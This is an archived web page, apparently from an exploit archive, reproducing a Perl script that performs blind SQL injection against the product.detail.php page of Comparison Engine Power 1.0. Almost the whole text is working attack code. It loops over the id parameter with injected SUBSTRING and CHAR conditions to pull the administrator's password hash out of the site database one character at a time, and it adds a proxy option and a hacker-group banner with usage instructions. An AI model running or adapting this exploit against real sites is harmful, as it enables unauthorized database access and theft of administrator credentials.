Home / os / win10

cep-blindsql.txt

Posted on 18 June 2008

#!/usr/bin/perl use LWP::UserAgent; use Getopt::Long; if(!$ARGV[1]) { print " "; print " ################## VIVA ISLAME VIVA ISLAME #################### "; print " ################## VIVA ISLAME VIVA ISLAME #################### "; print " ## ## "; print " ## Comparison Engine Power 1.0 Blind SQL Injection Exploit ## "; print " ## ## "; print " ## Author: Mr.SQL ## "; print " ## EMAIL : SQL(at)HOTMAIL.IT ## "; print " ## HOME : WwW.PaL-HaCkEr.CoM ## "; print " ## ## "; print " ## -((:: GrE3E3E3E3E3ETZz ::))- ## "; print " ## ## "; print " ## - HaCkEr_EGy - His0k4 - Dark MaSTer - MoHaMaD AL 3rab - ## "; print " ## - ALwHeD - HeBarIeH - ## "; print " ## ## "; print " ## <<>> MuSliMs HaCkErS <<>> ## "; print " ## ## "; print " ## Usage : perl exploit.pl host ## "; print " ## Example: perl exploit.pl www.host.com / -d 10 ## "; print " ## ## "; print " ## Options: ## "; print " ## -d valid id value ## "; print " ## Note: ## "; print " ## Don't forget to change the match if you have to do it ## "; print " ## ## "; print " ############################################################### "; print " ############################################################### "; exit; } my $host = $ARGV[0]; my $path = $ARGV[1]; my $userid = 1; my $id = $ARGV[2]; my %options = (); GetOptions(\%options, "u=i", "p=s", "d=i"); print "[~] Exploiting... "; if($options{"u"}) { $userid = $options{"u"}; } if($options{"d"}) { $id = $options{"d"}; } syswrite(STDOUT, "[~] MD5-Hash: ", 14); for(my $i = 1; $i <= 32; $i++) { my $f = 0; my $h = 48; while(!$f && $h <= 57) { if(istrue2($host, $path, $userid, $id, $i, $h)) { $f = 1; syswrite(STDOUT, chr($h), 1); } $h++; } if(!$f) { $h = 97; while(!$f && $h <= 122) { if(istrue2($host, $path, $userid, $id, $i, $h)) { $f = 1; syswrite(STDOUT, chr($h), 1); } $h++; } } } print " [~] Exploiting done "; sub istrue2 { my $host = shift; my $path = shift; my $uid = shift; my $id = shift; my $i = shift; my $h = shift; my $ua = LWP::UserAgent->new; my $query = "http://".$host.$path."product.detail.php?id=".$id." and (SUBSTRING((SELECT password FROM auto_admin_settings_tb LIMIT 0,1),".$i.",1))=CHAR(".$h.")"; if($options{"p"}) { $ua->proxy('http', "http://".$options{"p"}); } my $resp = $ua->get($query); my $content = $resp->content; my $regexp = "tourterms.pdf"; if($content =~ /$regexp/) { return 1; } else { return 0; } }

 

TOP